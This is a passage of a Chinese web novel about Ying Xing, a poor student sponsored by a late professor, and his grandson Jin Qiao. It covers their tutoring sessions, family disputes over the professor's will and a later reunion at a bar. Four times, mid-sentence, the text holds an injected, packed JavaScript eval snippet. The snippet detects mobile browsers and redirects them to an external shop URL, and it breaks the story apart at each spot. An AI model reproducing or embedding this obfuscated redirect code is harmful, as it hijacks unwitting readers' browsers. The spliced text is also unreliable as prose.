比她上一次拿给他看的那张成绩条进步了许多。 靳樵很快回了个带大拇指的颜文字,并且说如果有需要的资料买不到就告诉他,他在网上帮她下载。 2013年,那一年,许多人都已经用上微信。应星用的手机还是一个老式的诺基亚,这些软件也都用不了,她发不了图片。应星真想让靳樵亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477935|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看看这次月考成绩条,这是她入学以来考得最好的一次。至亲突然去世的痛苦,应星曾经刻骨铭心地体会过。如果这件小事能给他一点安慰,那再好不过了。 课间,同桌女同学看到应星总看着手机短信沉思,就问她是不是男朋友。 应星急忙摆手否认,她听文婷学姐提起过,靳樵有个外语学院的女朋友。 “那就是喜欢的人咯?看看你的表情就知道!” “不是,”应星想都不敢这样想过,“他是给我补课的老师,我发短信跟他说我考得怎么样。” 班上的同学们大多十六七岁,正是对这种事情非常热情的时候。但应星深深明白,她就是在梦里,也不敢对靳樵有什么非分之想。 高三的生活异常艰苦,时间在紧张的氛围中过得飞快。快到寒假时,靳樵照例给应星发短信,问她什么时候放假,是否补课,是否要交什么杂费。 应星回他:一切费用都够,统考后大多数中学都要补课,自己会努力的。最后还是谢谢。 靳樵没再回什么。 寒假结束的第一周,应星没有回家,就住在宿舍楼,每天和班上的同学一样,自发到教室自习。班主任和科任老师也会抽空到教室,给大家答疑。县城的教育不发达,但尖子班的同学都非常努力。 应星听到手机在桌箱里振动,寒假里不上课,老师不会让大家禁手机。应星正在解一道数学题,她匆匆拿起手机走到教室外面去接,以为是姑姑打来说家里的事,电话里却意外传来靳樵的声音。 “应星,我在你学校门口。” 应星心里一惊,从学校走廊往校门方向看去,没看见什么。 她回教室合上习题本,同桌抬起头看她:“要回去了?” 应星:“我出去买瓶水。” “哦,好。” 应星一路小跑出校门,看到靳樵果然站在宣传栏那里。不过,这次靳樵的身边还站着两个男生,三人站在那里聊着天。其中一个应星认得,跟靳樵同一个宿舍的。应星这个时候还不知道他的名字叫李耿。 西北的冬天很冷,靳樵看到应星小跑出来,她终于穿了一件很厚的棉服,就套在校服外面。 靳樵站在那里向应星招手,应星看到他脸颊若隐若现的酒窝。看她走近,靳樵先和他说明:“应星,这两位是我的同学。他们来西北旅游,顺便和我来县城逛逛。” 那两位同学应该都知道应星是靳教授资助的学生,看到她出校门并不诧异,都跟她打招呼说你好。 靳樵左边的男同学友善地笑笑,“听说这里的枸杞很好,我们就是顺道来买点枸杞。” 靳樵说:“你们俩先去逛吧,我和应星聊聊。不用等我,我自己回酒店。” 他们说了几句,两个男同学很快走了。 应星手上拿着一沓叠得很整齐的成绩条,她专门买了个文件袋,把学期的成绩条都保存了起来。 应星走到靳樵面前,先把一沓纸条递给他。 靳樵笑了,有些无奈,“我不是来查你成绩的。应星,怎么你见我第一件事就是掏成绩单?” 8. 补课 “哎,还是去奶茶店说?” 应星跟在靳樵身后。好久不见,他裹在厚羽绒服里看起来高了些。奶茶店里有暖气,他脱掉外套,里面穿着柔顺的驼色毛衣。有两个正在买奶茶的女同学看到靳樵近店,忍不住盯着他看,磨磨蹭蹭半天才走。 她们敢这样打量靳樵,应星却不会,她不敢,那样也不好。但她心里明白,靳樵的外表确实出色,是高中和大学的女孩子都会喜欢看的那种长相。 靳樵坐下,也示意应星坐。 “应星,其实我来找你没有别的事,就只有几句话跟你说。” 应星点头,“好。” “这话是替我爷爷说的,就是,你安心读你的高三,你上学的事不会受到什么影响。爷爷虽然去世,但是他还没昏迷的时候做了些安排。” 靳樵略过爸爸和两位姑姑的冷淡,以及他和他们的一些矛盾。那算是正常的争执,应星也不必知道那些。 “爷爷做过安排……你的资助不会受影响。等你考上大学,他也留了资金继续帮你的。” 应星出社会那几年,受到的冷眼太多,欺凌也有,她几乎习惯了陌生社会的冷意。 靳樵平静友善地说着话,来自靳樵爷爷的这一份沉甸甸的许诺让应星惊讶,进而想到,她该怎么报答?为什么会有这样一份好运降临在她身上?她做对了什么呢? 应星是穷苦出身,并不知道以她的花销,读书六年的钱对靳樵这样的家庭只是一个小数目。 看应星又要说谢谢,靳樵提前止住了她:“需要我给你补课吗?” 靳樵翻着她的成绩条,“我看你的化学也拖了点后腿,不过我查了,这成绩在你们省已经可以上一本了。” “要。”应星不假思索。她马上想到,这是高中生涯最后一个假期,再下一次假期就是高考后了。 “靳樵,你也是来旅游的吗?”应星从包里掏出文具和试卷。 靳樵若有所思,接着笑了,“应星,这好像是你第一次叫我名字。” 应星一愣,其实发信息时也叫过的,只是那不是当面。 靳樵展开化学试卷,“还有,也是第一次问关于我的问题。” “是、是吗?” “是啊!” 应星问:“我还是想补物理,可以吗?有个题班上有六个人全对了,但我只得了两分……这种题好像是我的短板。” “嗯,我先看看。” 靳樵拿着拿着应星的答题卡和试卷,一题一题看得很仔细。 应星忍不住问:“靳樵,你高中毕业那么久,怎么还能什么都记得?” 这次见面,靳樵觉得应星的话变得比以前多了一些,她对于与人交流多了些主动,眼神不再那么拘谨了。是重返校园读书给她带来的变化。 “其实,也不全记得。”靳樵这么说,露出个轻松狡黠的笑,“化学我还要重新看,看能不能想起来,但我室友李耿是学化学的。我辅导不了,我就把他叫来现给你讲!” 后来那几天,靳樵没叫室友,他又给应星连补了五天物理。剩余时间应星要么在记单词要么在背范文,时间根本不够。 应星记得,那一年放假的时间很晚。靳樵给她补五天课,时间很快就来到小年那天。 那天从凌晨起就下了好大的雪。靳樵拍着肩上的雪走进店里时,老板娘跟他俩唠道:“今天是小年夜了!你们还补课啊!来自习的同学都回家过年了!” 应星跟她道歉:“姐,不好意思啊,我占用了你家桌椅,如果不合适……” “嗨——我哪是跟你说这个!放假客人少,座位够用,你们愿意用就用呗!我是说,姑娘你这学习也太努力了……我儿子要是能向你这样就好喽,他这学期物理考29分,英语56,我给他操心都操够了!” “好大的雪!”靳樵坐下来,“我迟到多久了?打车好久都没打到,冒雪走路过来有点远,。” 靳樵还住在汽车站附近,从那里打车到县中这里要八块钱。应星算过,靳樵每天这样打车来回,许多次也是不少钱了,还有来的路费住宿费……应星没坐过飞机,但她听出省的同学说过机票的价格,那真的很贵。 这样一细想的时候,应星感觉到胸口有个地方微微疼起来。那疼并不明显,只是缓慢而轻,存在那里,不能忽视。她何德何能呢?让靳樵这样的人为她做这些。在学习上,她把所有能做的努力都做了,她还能做些什么,来回应靳樵做的这些? 靳樵是为了帮爷爷做好一件事来到这里,这份馈赠,却让应星觉得太贵重了,她很想要,很需要,但是不知道自己能为人家做什么,能怎么回报…… 想到这些的时候,应星垂着眼眸安静地看着纸面。靳樵看到她眼睛下长出两块淡淡的黑影,心里想,这几天的强度是不是有点大了。 等应星做完题,靳樵没有立即给她批改,而是说:“你们这里有什么好玩的地方?应星,我好几年没见过这么大的雪了,带我去逛逛如何?你也学累了,出去透透气!” “好的。” 应星没有异议,收起书本文具,起身穿外套。 其实她不是死读书的类型,也知道劳逸结合。只是靳樵这样老远来,这样费钱费力地给她补物理,她决不能开口说不学了想放松放松。 路过校门时,靳樵说:“去你们校园里转转。” 假期里,只有高三的一些同学会来学校自习,县城少有生人,同学进进出出的看门的保安也懒得多问。应星就这样带着靳樵进了校园。 学校虽然只是县中,却是所百年老校,前几年校园翻修后扩大了一倍,新栽了许多花木。大雪下了快一天一夜,整个校园全被覆盖成白色。 “挺漂亮!”靳樵拿出手机来拍照。 这不算漂亮,在山区,下了这样的大雪,会有很多比这个好看的景色。 两人围着操场踱步,身后留下两串浅浅的脚印。应星鼓起勇气说:“靳樵,我带你去爬山怎么样?” “爬山?” 应星点头,“不远的,山上风景比这里好。” 靳樵对野外活动感兴趣,“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477936|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!要不要先去超市买冰爪。” 靳樵寒假时常去雪场玩,第一件是就是买冰爪。 “用不着冰爪。”应星看看两人的鞋,“那山海拔不算高,我熟悉路,现在都是软雪,爬上去没事的。” 应星说的那座山就在县中背后。上山的路硬化过,覆着雪很平整。两人在山脚下,先看到一条看起来软绵绵的雪道,两边是晶莹剔透的冰雪森林,真的是奇景。 靳樵拿着手机拍,“发给他们瞧瞧!” 两人登上山顶的平台时,被大雪后的景色惊住了。尽管应星是本地人,但雪后的景色她怎么也看不厌,小年夜下的这一场大雪,真的太厚了。 站在那里,南面可以俯瞰校园全景和小半个县城,往北看去,一条蜿蜒的河流向远方,河水有一半被冰雪冻住了,另一半还在缓缓流动,河面腾起一层青色的薄雾。 两人静静看了片刻,应星听到靳樵的手机响起。 靳樵随手点开接听,屏幕上出现一张白皙的女生的脸。是视频,应星自觉转开头。 会不会是阮梦?应星默默猜想。 她听到女生问靳樵分享到群里的雪景在哪里,和李耿他们一起吗,准备在西北呆几天,什么时候回去写论文。 靳樵和她聊了一会儿,又把镜头调转向外给她看远处的景。 视频对面传来欢呼声:“好漂亮啊!我也想来玩儿,写论文写得很累哎……” 靳樵接着和她聊到论文导师,选题,还聊起谁拿到大厂offer。应星默默听着,好多词她都听不懂。她想起在居仁大学附近打工时那些聚餐的同学们,想起周记排挡,不知道现在是谁在哪里打工,也是一个辍学的女生吗? “应星,回去了!” 靳樵不知什么时候打完了视频。 应星回过神来,“我,暂时……还不想回去。” 应星很少有这么直接说话的时候。 靳樵一顿,眉毛微微提起,“偷懒?” 应星心里虚了一下,低头,“我……从不偷懒。” 靳樵笑了起来。他只是开玩笑的,但他发现应星不懂得玩笑。他这样一说,她便真的在反思自己有没有。 应星裹在厚厚的棉服里,棉服帽把刘海压到睫毛上,显得她整张脸很小,被背后晶莹的雪景衬得像一只动物。 靳樵伸手捉去她眼睫上的一粒细雪,“我们已经出来两个小时了。” 两人又在那山顶静静地看了一会儿。 靳樵想起靳建华。 “应星,你知道吗?我爷爷在曾在西北农村插过队,他过去很熟悉这里。有几年,他跟我说过几次想回来看看,但被太多别的事绊住,一拖就拖到现在了……” 应星默默听着,问了靳樵一个她现在能想到的问题:“靳樵,你明年毕业会去哪里工作?” “或许出国吧。”靳樵答。 “哦。”应星点点头,没有再接话。去国外,那是应星连想象都想象不出的生活。她想问的,靳樵都不会感兴趣,他们之间也没有共同话题。 9. 大雪 回到奶茶店,应星自己批改刚才做的试卷。最后一题她不会,她总觉得有思路,又在草稿纸上演算起来。 靳樵看到她专注的样子,心里改变了主意。他掏出手机给李耿发消息:“你们先回学校吧,不用等我了,我事情还没办完,再呆几天。”靳樵接着把酒店续费,机票改签延后了三天。 多留几天的原因没别的,就是想尽自己的力,多帮一帮应星而已。 靳建华患癌去世这件事,让靳樵消沉了大半年,连带对亲情、学业和未来的生活都产生了消极的情绪。应星的生活让他看到这个世界是不公平的,他自己的生活却又让他知道,每个人都有自己的那一副牌要打。而他自己手里那把牌,好像打得不怎么样…… 靳樵进居仁时自己选了读数学系,那时班上成绩最好的几位同学都喜欢数学。在大家眼里这也是个有含金量的好专业,他大一时拿过建模大赛金奖,却是到了这一年,他后知后觉地察觉到,自己对数学并不具有真正的热情…… 以全部的智力去推演出一个在真空中成立的公式,仅仅是触摸到了几百年前某个天才设下的幽灵。离开那运算的纸面,离开几个懂这个公式的老师和同学,再往远处走,靳樵便不知道他能探寻的还有什么了。 居仁的天才太多,靳樵费劲辛苦维持住可以保研的绩点,真正临到快毕业,却发现自己并不想读数学系的研究生,他可能做不到按靳建华的期望成为一个学者。他们获得霍特奖的那个可持续能源项目获得了投资人的青睐,有一段时间风头无俩,学长迅速组建团队开了公司,可后来很快发现真正做起来很难在国内找到一片落地的土壤。数年之间改写命运成为业界传奇的事,没有靳樵熟悉的同学身上发生,学长的团队苦苦支撑半年后草草解散。 第二天休息,应星带靳樵去参观博物馆。靳樵有些意外,没想到小小县城里也能建起博物馆。 应星低声跟靳樵说,她在城里最喜欢的地方就是博物馆。 靳樵说:“那你应该去学历史,或者文物与博物馆学。” 应星摇头:“班主任老师给同学们分析过,这些专业以后不好找工作。” 靳樵点点头,同意了。 他来自居仁,骨子里有居仁精英的傲慢。从前的他要是听到这样的话会嗤之以鼻,在快要毕业这一年他突然就明白了,大学是一个真正的象牙塔,在象牙塔里可以不顾一切,等到面向社会,不只县城的学子们最需要的就是这样的务实,居仁的学生也需要。 靳樵离开县城时已经快要除夕了。 应星还是和他一起站在校门前等出租车。 临上车前,靳樵突然回头跟应星说:“其实我这些天教你的也不对。” 什么意思?应星看着他有些茫然。 靳樵笑:“我是说,有一件事不对。不应该带着你每天花那么长的时间学习。学不进去,就不应该硬学,应该把玩的时间增加一点,即使是高三也是这样。” 他上了车,降下车窗对她说:“记住了应星,高三也要学会多休息!” 应星站在原地朝出租车挥手,“我记住了!” 新年快乐!靳樵。 ———— 靳樵回汉源不久,在平水路的房子里,他和爸爸以及两个姑姑坐下来谈处理爷爷遗产的事情。 靳建华生前有遗嘱,他的财产除了子女分配之外,有一笔钱必须用来做公益,分别捐给学术委员会、教师发展基金以及资助西北山区的贫困学生。 在资助山区学生的这一项上,靳樵和爸爸、姑姑产生了分歧。爸爸和两位姑姑都主张资助应星读完高三,其余的钱都捐给“青苗基金会”。这是一个资助山区贫困学生上大学的慈善基金会,在高校和媒体间有一定影响力。 靳樵反对,靳建华生前就说过要资助应星上大学,他主张单独划出应星上大学的钱。 商议了一番,大姑耐心跟他说:“阿樵,我们三个都没有评估过应星的个人情况,把这个钱捐给青苗,以青苗的影响力,会增加爷爷的身后名,这倒是次要,爷爷也不在乎这些。但最重要的是,让青苗替我们去评估应星的家庭情况,去监督学生对资助金的使用,比以个人的名义单独给她好得多。” “可爷爷答应过她了。应星的家庭情况我已经跟你们说过,文婷学姐可以作证。她还救过爷爷,难道不值得帮助吗?” “如果应星个人符合青苗的资助条件,她完全可以申请青苗的资助上大学。如果不符合,她就不应该浪费这个钱,总有比她更需要帮助的学生。阿樵,我们不是不帮她,你在倔强什么?” 应星的条件怎么不符合呢?他亲眼见过应星的艰难,见过应星有多节省。 小姑问:“阿樵,你去过应星家里吗?” 靳樵没去过。 “那你怎么知道应星和文婷博士说的就是真的?要是其中存在不实之处呢?你没有亲自到过她家里。你爸爸和我们并不是随意质疑谁的人品,只是基本的戒心要有,基础的流程最好也要有。让青苗基金会代替我们家去核实、评估、监督,这不是好事吗?” 姑姑说得很自然,也好像很有道理,靳樵竟一时找不到什么话来反对她。 有记者等在外面要做采访,等着见证捐款仪式。那么多家媒体,捐给学委会、教师基金和青苗的三个数字都要当众公布,靳樵没有多少时间和爸爸、两位姑姑说话,他据理力争,着急起来。 他最后只得搬出靳建华。 “爸!大姑、小姑。资助应星读完大学,那是爷爷的遗愿!” “阿樵,爷爷亲笔写的遗嘱在这里,我们也并没有违背他的意愿,只是换了一种方式。对应星的资助,让基金会来认证、监督,比个人对接她要快捷、公正得多!” “阿樵,你怎么就是不明白?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477937|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆在茶几上的遗嘱是靳建华早在家属楼起火之前就写好,交给律师公证过的,那时候确实没有发生应星的事。 靳樵说话说得口干舌燥,感到一阵无力。 那天到了最后,爸爸和两位姑姑还是没有听他的,但考虑了他的意见,将现阶段单独资助应星的钱增加了一些。至于应星会不会留着用来上大学,那由应星自己来决定。 这已经是爸爸姑姑面对靳樵最大的妥协了。 说到底,靳樵不是爷爷遗产的第一顺位继承人,他没有财产继承权,也没有支配权。爸爸和姑姑因为他在爷爷身边长大,充分尊重他的想法。他争得累了,但也没改变他们的主意。 靳樵匆匆离开房间,避开外面等着采访的记者,他找不到什么别的去处,最后来到学校的操场,跑了很多圈,直到跑得精疲力竭。 他好像也只有这样的宣泄方式了。 就在一圈一圈环绕操场时,靳樵想明白了一点。爸爸和两个姑姑不是什么坏人,也许,也谈不上冷血无情吧……他们只是没有亲眼见过应星背着爷爷从浓烟中跑出来栽倒在地的场景。他们一直要谈的都是流程,没有恩情。 三万块并不是能够读完大学的数字,即使应星再节俭。而对他们这样的家庭,这只是他买一台游戏电脑的钱。 ———— 应星的高三,同所有学子的高三时光一样,在无限的艰苦疲惫中飞驰而过,时间来到2014年的夏季。 高考出分的那天早晨,应星还在宿舍里收拾东西。手机“叮”地响了一声,是短信提示音,应星打开短信,收到比去年一本线高一截的分数。 她停下来,坐在床沿上捧着手机看了许久。 没有超常发挥。 县中的学生们学到最后通常有瓶颈,这瓶颈并不仅有个人原因。这就是应星最正常的水平,她最后几次模拟考都在这个区间。 她按熄了手机,感觉心里有个东西重重落了地。这就是她返回校园,拼搏两年最后的结果了。 班主任老师的电话很快打过来,问应星的分数。在班里,只有老师一个人知道应星辍学之后又重返校园的曲折。在他心里,应星能考出这样的分数已经很不错了。 “比去年一本线高三十分。应星,靳建华教授知道你有这个结果,一定很欣慰的!” “谢谢老师。” 连应星自己,都说不清楚此时此刻心里的况味。没有谁能无缘无故考高分,这两年来,她作为一个平凡的学生,早已在理性上接受了自己的局限,那个关于居仁的梦她没有跟任何一个人说过。 也是真的走到了填写志愿这一步,应星才对居仁的录取分数有了真正的实感。那是金字塔尖的分数,就是县中第一名的考生都还差着一截。 那年夏天很火热,全国高考生人数再创新高。 那年夏天也是应星最后一次见靳樵。 10. 梧桐 应星唱完,对着麦克风说了声谢谢。六七个客人,大家轻松慵懒,没有人注意到她的紧张。她走到舞台前,将一个录像的手机收起,然后去了侧边的休息室。 靳樵起身到外面抽烟。 过了一会儿,他看到应星掀开门帘走了出来。她站在门口把散开的头发扎起。靳樵接着看到,有个戴眼镜的男人从梧桐路走到门口来,接过应星手里的包,两人牵着手走远了。 酒吧的老板也出来抽烟,就站在靳樵右边的树下。 靳樵刚才那些疑问都还在,他好奇,就上前递过一个打火机,搭讪道:“老板是居仁的校友吗?” 靳樵今天第一次来这家琉璃酒吧,完全是偶然。他刚回国不久,这段时间整天没什么事干,听老同学说起梧桐路公园前面有个校友开的酒吧,他路过附近刚好找到个位置停车,想喝杯东西就过来了。 老板看起来是个三十出头的文艺青年,脑后绑个辫子,穿着短裤人字拖,打扮随意,人也开朗。看靳樵给他递打火机,就把自己的收了回去。 “是啊!11届毕业生,金融系。” “比你小两届,13届,数学系。” 两人握了握手。 “刚才唱歌的女歌手,是在酒吧兼职吗?” 老板闲适地吞吐了几口,反问靳樵:“今天是她第一次来试唱,唱得如何?” 靳掐吃惊:“第一次来试唱?” 靳樵以前也组过乐队,但对唱歌只是业余,要回答的话他只能从听众的角度来说。 他想了想,“她音准很好,声线很特别,我第一次听这首歌的女生版,有耳目一新的感觉。但她好像有些紧张,演出风格也不太像专业歌手,不知道是不是我看错了……” 老板哈哈一笑,“没看错,她今天第一次试唱,自己也说了很紧张,从休息室出来时手还在抖。等周末人多,再让她来试试……” 竟然是这样。 靳樵脑子里疑问还是很多,“她的主业不是唱歌吧?在这附近上班吗?” “不是,她还在读书,很快也是我们居仁的校友了,听她说下学期要到居仁读博士。这姑娘是通过公众号后台联系的我,我最近在找兼职歌手,想想周三人少,就让她来试试。她不是专业歌手,但是是少数民族,你知道的,有些民族有能歌善舞的基因……她虽然不专业,但唱得确实不错。” 正说着话,里面有个事,老板被叫了进去,留下靳樵拿着熄灭的烟蒂站在树下,老板的话里关于应星的信息量过多,他有些没反应过来。 ———— 在酒吧背后的梧桐公园。 应星和蒋文杰牵着手走进园区。 应星面向湖水,长长吐了口气:“我甚至到现在还在紧张,明明酒吧里只有五六个人……” 蒋文杰跟她道歉:“这附近停车的地方有点难找,抱歉我耽搁了,没听上。” “没事,我录了像,可以回放。”应星掏出手机,把刚才录的视频给蒋文杰和好友林墨各发了一份。 “来的路上怎么样?堵吗?” 两人在湖边的长椅坐下,认真跟蒋文杰说:“今天还是周三,很累吧?” 蒋文杰摇摇头。 蒋文杰比应星早一年毕业。现在是六月,应星研三毕业季,目前还住在师范大学的宿舍里。蒋文杰去年就通过选调到隔壁市市政府工作了。两人异地一年,每个星期蒋文杰都开车跨市来看应星,应星忙着毕业的事,去看他的次数少,她很愧疚。 应星看着他:“辛苦了。” 蒋文杰问:“再走走吗?” 两人沿着湖边往前走。这时应星手机响起,是好友林墨打来的视频。应星接起来跟她说自己正和蒋文杰在公园,林墨知道两人难得见面,说几句便挂了。 蒋文杰一边走,问道:“星星,圣林教育集团给你的offer,这个月还在答复期限内的吧?你真的做好决定,就放弃了吗?” 应星知道,他一定还会问起这个问题的。 他们在一起两年。应星是真的想过,要不就跟蒋文杰去渠市工作了吧。去年秋招时应星投过几家单位,到渠市面试拿了两个offer,但后来,应星还是认真做了决定,到居仁大学继续读书。她经历过一段内心挣扎,那段时间白天黑夜都在想这件事。蒋文杰记得这周就是圣林集团的最后答复时间,应星不去,人家就要把机会给别人了。 “文杰,我去年底就已经做好了决定,去居仁读书。” 蒋文杰很久都没再说话。 他们年纪都不小了。应星是贫困生,蒋文杰普通家庭,读书读了许多年,该是回报家庭的时候了。他真的很不明白,应星为什么还是选了读博。平心而论,应星快要三十岁,读博完全不算是她最好的选择了。 应星看着蒋文杰黯然的眼神,看到他脸上的疲惫,心里涌过一阵强烈的愧疚。 “作为你的伴侣,星星,我真心希望今年跟我回渠市。我在市政府,你在最好的中学任教。我们的日子会超过大多数普通家庭。我们已经分开一年,还要继续这样异地……” 看应星不作声,蒋文杰也难受,可这些话就卡在喉咙口,他必须说出来。 “你已经29岁,四年后无论是结婚还是找工作,都没有优势了。我很担心我们的关系,咱们也到该成家的时候。” “这些我都知道……” 其实,两人之间已经有过很多次这样的对话。应星看着他,她想说,你再等等我好吗。可是此刻她突然觉得,让他再等她四年的话,也许真的很不公平吧。她怎么样都可以,痛苦难受,要改变的人不是她。她把话咽了下去。就算现在去领了证,也改变不了四年异地的现状…… 蒋文杰主动停下:“不说了,这些话我们已经说过很多次了。” 两人在附近的餐厅吃了晚饭,蒋文杰便要开车回去了。三个小时车程,他明天还要上班,每周一次这样极限来回是真的很辛苦。这周末他还要去基层,因此提前周三来看她。 汉源这座巨大的城市即使在周三依然车水马龙。两人从停车的地方开出来,应星站在路边,目送蒋文杰的车汇入车流中。她不自觉往前追了几步,突然有种极其不好的预感,他们下次见面,也许真的遥遥无期了…… 回到寝室,应星和林墨视频。说起白天唱歌的录像,林墨说除了有些紧张没别的毛病,跟十佳歌手表现一样好,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477938|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她听过的酒吧歌手是一个水平。 在今年以前,应星是从来没有想过她有一天能到酒吧唱歌的。二十几岁以前应星从来也不知道自己唱歌好不好。本科时有同学在KTV过生日,她当众唱过一两次,那时有同学夸她,她没放在心上。研一的时候林墨帮她报名院十佳歌手比赛,应星人生第一登台,意外拿了亚军。从那时起应星才正视了自己这一项天赋。 应星坐在桌前,跟林墨说,“我今天突然想起我妈了……” 林墨一惊,“你妈联系你了?” “怎么可能,不是,林墨,我今天突然在想,我唱歌不错这一项技能,是她遗传给我的。” 应星的妈离开时,她已经十五岁了。她对她的记忆很多,印象最深的就是她喜欢打扮,村里家家过得困难,她却能花不少钱买新衣服、买化妆品,她喜欢唱家乡的山歌,她在地里干活时唱歌,老受到村里婶娘们的非议。她害怕吃苦,干活都很娇气,男人去世半年,她有个周末来到学校把女儿骗回了家,从此离开了村里,再没回来过。 林墨安慰她,“这也算是她留给你的财产了,没有白生你这个女儿。对了,那个酒吧应该不乱吧?” 应星笑:“怎么会乱?就在梧桐路,梧桐公园前面,咱们路过过的。装修很有格调,风景很好。里面已经有好多兼职的歌手,都很有特色。” 林墨问:“那今天老板怎么说,录用你了吗?演出费开多少钱一场?” 应星心里没底,“他说周六让我再去试一场,周六人多。还没开始谈演出费,如果他因为我经验不足压低一点,合理范围内我都接受吧,也比其他兼职工资高多了……毕竟我真的跟专业歌手差远了。” 林墨觉得应星有时就是太会为人着想了。她反对:“怎么能呢?你不能把演出费说得太低,只要你唱得还不错,跟其他歌手一样,就得理直气壮和老板谈价格。能在梧桐路开得起音乐酒吧的,他绝对付得起钱!” 在这件事情上应星没那么大自信,她能迈出这一步,已经是因为二十九这个年龄给了她太多勇气了。她人生到此大部分时间都过得困窘,到二十几岁都活得循规蹈矩,在这一年,突然想做点改变。 “林墨,你不知道,我是真的很紧张,如果有人细看我,我腿都在打颤,从来没有当众表演的经历……” 林墨不同意:“十佳歌手不是吗?” “一次而已,太少了。” 林墨又说了好些鼓励应星的话,后来决定周六和她一起去酒吧。 “好!” 两人又讨论了怎么和老板谈演出费以及选演唱歌曲的事情。应星最放松的时候就是和林墨聊天,林墨上班的地方离学校不远,两人随时都能约见面,她现在觉得她和林墨的相处比和蒋文杰要轻松得多。 周六下午,林墨早早来到应星的寝室,和应星一起斟酌穿什么。 打开应星的衣柜,林墨有些难过。应星的衣服不多,都穿得很旧,新的就那么一两件,都不适合穿上台演出。两人三年同门加好友,以她们的关系可以直说很多话。林墨想建议她多买些漂亮衣服,怎么着都是话到嘴边还是说不出口,如果可以选,没有人会想过应星这样的生活。 11. 短信 应星不好意思:“没得选,对吧?”适合演出的还是只有上次那条裙子。 她想了想,“林墨,你陪我去买衣服吧。” “真的?” “真的。” 应星过得不宽裕,但她有以前上班存的继续,导师又经常给她介绍兼职,她工作起来极度认真负责,干活快,手里还是有一些钱供得起日常开销,她只是节俭惯了。 应星拍拍林墨的手,“就算是为了演出效果,舍不得给孩子套不着狼嘛,放心,预算充足。” 应星难得想买新衣服,林墨很替她高兴,欢呼一声,“走!” 两人在附近商场的一家潮牌店选了两套裙装,看时间差不多了,便直接打车到酒吧。 琉璃酒吧的地址和装修确实很好。背靠公园,一侧临湖一侧面向人行道,门口有两棵高大的梧桐树,绵柔的灯光掩映在繁枝茂叶中,氛围感十足。周六晚上是梧桐酒吧的客流高峰,连楼顶露台都坐满了人。 应星这星期在网上猛学乐理知识,每天都练歌,做了好久心理建设,临到这个时候,她倒是没上次那么紧张了。 两人在休息室找了个小空间,林墨一边看她化妆一边问:“你还紧张吗?” “还行,有一点。” 能在酒吧登两次台,已经超出她的预期了。她萌生到酒吧唱歌的想法,真的只是出于她想在生活里做些改变,终于鼓起勇起在人家公众号的后台留言毛遂自荐,意外得到了试唱机会,现在这不就算改变了吗。 应星在老板给的歌单里挑了一首泰勒的英文歌,一首罗大佑的《追梦人》。 今天是露天演出,舞台搭在屋顶露台,应星前面的乐队还有最后一首表演的时候,她便坐到台侧等着。 林墨打开应星的手机给她录像。楼顶已经没有座位了,她只好站到临湖的栏杆旁边。她手忙脚乱地支起支架,不小心踩了身后的客人一脚。 “不好意思啊!”林墨赶紧回头道歉。她与客人一对视,一张高级的帅脸闯入视线。林墨被惊了一下,急忙又道了一声歉。 靳樵好脾气地说:“没事。” 林墨固定好支架,退到不遮挡帅哥视线的地方。 靳樵概念里的周末包括三天,周五晚到周日晚。他在家里宅了一周,组装运动器材,今晚感到无聊,又来了这家酒吧。 乐队演出告一段落,主唱接着预告道:“接下来,欢迎歌手应星给大家演唱。” 靳樵心想,这么巧? 他坐直了往舞台看去,乐队收拾好离场,应星安安静静走了上来,走到麦克风前站定,说了一句大家好。 靳樵眼前一亮,凭心而论,应星今晚看起来终于有点像专业歌手了。 她穿一身很有设计感的棕色扎染吊带裙,有点废土风的风格,脖子系同色皮扣,右腿还绑着裙子同色绑带,显得她的腿很白。 这跟她印象中的应星很不一样。他突然想,十年,一个人会发生什么样的变化? 今天是2023年6月10号。靳樵算了算,距离他们最后一次见面,已经九年过去了。 应星穿得很好看,甚至还有一些性感。 “靳樵!”他在心里提醒自己,“停止这样审视应星,任何人都可以,应星不行,这不对。” ———— 